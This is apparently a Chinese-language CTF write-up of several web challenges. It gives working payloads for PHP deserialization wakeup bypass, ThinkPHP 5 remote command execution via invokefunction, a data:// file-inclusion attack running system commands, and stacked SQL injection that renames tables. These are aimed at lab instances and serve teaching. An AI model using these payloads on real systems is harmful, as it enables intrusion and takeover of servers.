| 1.Training-WWW-Robots打开应用场景,如下:
 
  网址后面添加/robots.txt 查看其中内容(robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件),内容如下:
 
  根据提示,访问/fl0g.php,得到flag值。
 cyberpeace{b723b5eabd63b450baeff4d85829c3d6}
 2.PHP2
 题目描述为
  搜索栏http://111.200.241.244:49822/index.phps得到页面的源代码。
 not allowed!
"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "
Access granted!
"; echo "
Key: xxxxxxx
"; } ?> Can you anthenticate to this website? 
 由PHP源代码可以知道,主要解析Access granted!之前的内容,
 $_GET[id] = urldecode($_GET[id]);会对传入的id参数内容,进行一次urlcode(). if($_GET[id] == "admin") 
 判断获取的id是否为admin,如果是,则可以获取flag。在这里,我们需要知道的是,需要从payload读取id = admin,会对s进行两次url解码。第一次admin进行url编码后为%61%64%6d%69%6e。第二次admin = %2561dmin。得到flag为 cyberpeace{f8570244030b4be15bd0639161608641}。url编码表如下:
 
  3.unserialize3
 4.XTCTF(代码审计) <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
 推测为PHP反序列化方向的问题 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            
            $this->file = 'index.php'; 
        } 
    } 
}
        $s=new Demo('fl4g.php');
        $s=serialize($s);
        echo $s;
        $s = str_replace('O:4', 'O:+4',$s); 
        $s = str_replace(':1:', ':2:' ,$s);
        echo base64_encode($s);
?>
 得出test.php的运行结果:O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==payload =http://111.200.241.244:61945/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 得出flag
 
  5.php_rce ThinkPHP 5漏洞
 漏洞原理:程序未对控制器进行过滤,导致攻击者可以用斜杠(\)调用任意方法。
 
  利用system函数远程命令执行:/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 其中,vars[1][]=(Linux指令) 在url后面添加/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami  根据Linux命令,ls命令用于显示文件目录列表 index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
 
  可以看到文件目录中有flag,因此进入flag的目录下。111.200.241.244:50037/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag  再利用linux中的cat命令查看整个文件。http://111.200.241.244:50037/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag 
  6.Web_php_include
 <?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) 
{
    $page=str_replace("php://", "", $page);
}
include($page);
?>
 include($page)表示题目主要考察文件包含漏洞。该题目主要考察PHP伪协议,在该博客中有对PHP伪协议详细的介绍,https://www.cnblogs.com/weak-chicken/p/12275806.html。
 在上述代码可以看到while中设置strstr()函数,该函数对大小写不敏感,所以要想使用php协议,要改成大写。
  在url后面添加?page=data://text/plain,<?php system(“ls”)> 后面的PHP代码将会被实现,"ls"和"dir"均可用于查看当前目录文件。
 可以看到,flag值在fl4gisisish3r3.php中。
  采用cat命令查看可能存在flag值的文件。 
  PHP源代码不显示内容,采用页面源代码。 
  7.supersqli
  判断网站是否存在注入情况:https://www.cnblogs.com/SCHAOGES/p/10889654.html 
  可能存在字符注入。
 1';show databases;
 
 1';use supersqli; 
 1';show tables; 
  可以看出得到两个表,1919810931114514和words。
 因为我们无法确认哪个表中有flag,因此我们需要查看两个表中的列名。
 1'; show columns from `words`; 
  没有flag有关的列值因此,查看另一个表。
 1'; show columns from `1919810931114514`;
  此时,我们需要思考如何回显flag的值。 在之前的测试中,发现网页会自动过滤select、insert等字段
 
 
 1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
 1' or '1'='1
  7.ics-06
 云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹
 |